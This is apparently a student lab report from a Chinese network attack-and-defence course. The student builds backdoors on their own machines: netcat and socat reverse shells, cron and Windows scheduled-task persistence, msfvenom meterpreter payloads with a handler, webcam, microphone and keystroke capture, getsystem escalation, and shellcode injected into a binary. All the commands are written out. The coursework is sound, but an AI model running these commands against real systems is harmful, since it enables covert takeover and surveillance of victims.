20232308 2025-2026-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
1. 实验目标
(1)使用netcat获取主机操作Shell,cron启动某项任务
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
2. 实验问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:钓鱼邮件附带恶意附件,打开后,恶意程序会自动解压并植入后门
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:windows启动方式:
系统服务。将后门注册为系统服务,设置启动类型为“自动”
注册表启动项。添加后门程序路径,开机后自动执行
进程注入。通过DLL注入,将后门代码注入到正常系统进程
Linux启动方式:
定时任务。通过crontab -e添加定时规则,每分钟执行一次后门脚本
系统服务。将后门脚本放入/etc/init.d/目录,通过update-rc.d设置开机启动
(3)Meterpreter有哪些给你映像深刻的功能?
答:远程桌面与摄像头控制。支持vnc命令开启远程桌面,或通过webcam_snap/webcam_stream抓拍/实时监控目标摄像头,配合record_mic录制麦克风音频,实现全方位监控。
文件与网络操作。可直接在目标系统执行传输文件或开启网络嗅探
(4)如何发现自己有系统有没有被安装后门?
答:查看是否有异常进程,排查启动项与定时任务或者是分析系统日志
2.实验过程
1. 实验准备
关闭所有的防火墙以及防病毒的程序,确保后续实验可以顺利进行
查看主机和虚拟机ip
2. 使用netcat获取主机操作Shell,cron启动任务
2.1 使用netcat获取主机操作Shell
先在windows平台上下载netcat,下载教程为https://blog.csdn.net/muriyue6/article/details/107127217
在netcat的下载目录中,输入指令nc -l -p 8888,表示使用netcat软件监听本机8888端口,注意此时主机是攻击方
在虚拟机上,输入指令nc 192.168.43.198 8888 -e /bin/sh,表示对于指定的ip地址和端口,在连接后运行/bin/sh指令。
在主机终端输入一ls,返回虚拟机的文件信息,说明主机已经成功获取虚拟机操作Shell。
2.2 cron启动任务
在虚拟机中以root用户打开命令行(注意此处一定要使用root用户,否则后期会一直有报错的情况),输入命令crontab -e来编辑当前用户的crontab文件,选择2:/usr/bin/vim.basic,输入45 * * * * /bin/netcat 192.168.43.198 8888
使用指令crontab -l查看时程表,可以看到添加任务成功。
查找/var/spool/cron/crontabs文件夹,可以看到新增了一个root文件。
如果此处没有使用root用户来打开命令行,会出现无法打开文件的情况出现,如下图所示
输入指令echo "* * * * * echo "20232308" > /home/kali/Desktop/20232308.txt" > /var/spool/cron/crontabs/root
输入crontab -l查看时程表,可以看到注入成功。
一分钟后可以看到桌面上出现20232308.txt,且内容为20232308
3. 使用socat获取主机操作Shell
3.1 在windows平台上下载socathttps://blog.csdn.net/gitblog_09722/article/details/142939083
在socat下载的目录下打开命令行,输入指令socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr表示创建一个在TCP端口8888监听上的服务器
在虚拟机上输入socat - tcp:192.168.43.198:8888成功进入到Windows主机命令行。
3.2 在主机上编写一段Shell,生成exe文件。
3.3 切换到虚拟机中,输入指令schtasks /create /sc minute /mo 1 /tn "20232308hzy" /tr D:installsocat20232308\socat\test.exe表示的含义是创建一个名为 "20232308hzy" 的计划任务,该任务每分钟执行一次
在主机中打开计算机管理,可以看到该任务,并且是每分钟运行一次,符合预期,表明攻击成功
4. 使用MSF meterpreter生成可执行文件并运行获取主机Shell
4.1 仍然以root用户打开命令行,输入指令msfvenom -p windows/meterpreter/reverse tcp LHoST=192.168.78.134 LPORT=8888 -f exe > backdoor20232308.exe
4.2 将后门文件传输至主机
在主机中进入netcat所在目录,输入指令nc -lv 8888 > "D:\backdoor20222408.exe"
在虚拟机中输入指令nc 192.168.43.198 8888 < backdoor20232308.exe表示将backdoor20232308.exe的文件内容发送到主机
4.3 配置监听
在虚拟机中输入指令msfconsole,打开Metasploit框架的主要控制台界面
输入如下命令对监听模块进行配置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.78.134
set LPORT 8888(设置监听数据流向的端口)
输入exploit,使监听模块开始运行。
返回主机,在backdoor20232308.exe目录下进入命令行开始运行程序
回到虚拟机,输入dir会显示已经连上了主机
4.4 使用MSF meterpreter生成获取目标主机后门
4.4.1 获取目标主机音频、截屏、摄像头、击键记录
在exploit模块中输入以下指令:
record_mic(录音)
screenshot(截屏)
webcam_snap(拍摄)
keyscan_start(开始读取键盘记录)
(回到主机输入一段文字)
keyscan_dump(结束读取键盘记录)
可以在文件系统看到被保存的音频、截屏、拍摄记录
4.4.2 提权
使用管理员身份运行命令行,运行后门程序
用指令getuid得到初始用户名
用指令getsystem提升到系统权限,可以看到提权成功
5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在虚拟机中输入指令msfvenom -p linux/x86/meterpreter/reverse tcp LHoST=192.168.78.134 LPORT=8888-x/home/kali/Desktop/pwn20232308-f elf>20232308pwn1表示创建一个Linux 32位平台上的反向TCP meterpreter payload,将其注入到指定的可执行文件(pwn)中,并将注入结果保存为一个ELF格式的文件
使用指令sudo su来提升至管理员身份
chmod +x 需要提权的文件对生成的elf文件提高权限
输入msfconsole,再次进行监听配置
输入exploit开始监听
在虚拟机打开新的终端,运行elf文件
回到监听终端,输入ls,发现成功获取shell。
3.问题及解决方案
-
问题1:将后门文件传至windows主机时出现报错8888端口无法使用,且传输到主机的文件为0kb
-
问题1解决方案:通过询问ai以及学长学姐的实验报告,通过MobaXterm将文件传输到windows主机中
-
问题2:配置监听模块时,在主机上运行backdoor20232308.exe文件后,报错如图所示
-
问题2解决方案:通过学习毕同学发在群里的宝贵建议,更新 Metasploit 框架及其所有依赖项,确保它们与当前系统的 Ruby 版本兼容。运行成功后发现可以正常使用
-
问题3:运行backdoor20232308.exe文件时报错
-
问题3解决方案:通过查看系统日志发现系统防火墙未完全关闭,该进程被拦截,通过修改系统中允许的威胁,最终解决了问题
4.学习感悟、思考等
经过本次实验,我感触颇深,通过动手操作netcat、socat、MSF meterpreter等工具获取主机操作Shell的方法以及利用cron和任务计划等方式启动后门任务,我对于网络攻防有了更深刻的理解。
在实验过程中,感受到了后门程序的强大力量,攻击者可借助后门悄无声息地窃取系统中的敏感数据,不管是使用者照片还是使用者输入的内容。也感慨防火墙威力之大,就算在关闭了防火墙以及实时保护的情况下,想要植入一个后门程序都是很困难,要做好免杀工作,这也警示我在日常的生活中要时刻保持警惕意识,不随意下载陌生链接的文件,保护电脑免受后门文件的侵扰。除此之外本次实验还体会到了作为一名黑客的乐趣,尽管遇到了很多问题,不停的报错,不停的查找原因解决问题,但是当看到自己的照片以及自己电脑的各种信息,还是很有成就感的。
综上所述,本次实验还是让我受益匪浅,我不仅深刻认识到网络安全不是一种空谈,而是实实在在藏在每一次操作习惯里,更在实验过程中不断提高自己的综合能力,对这门技术有了更大的兴趣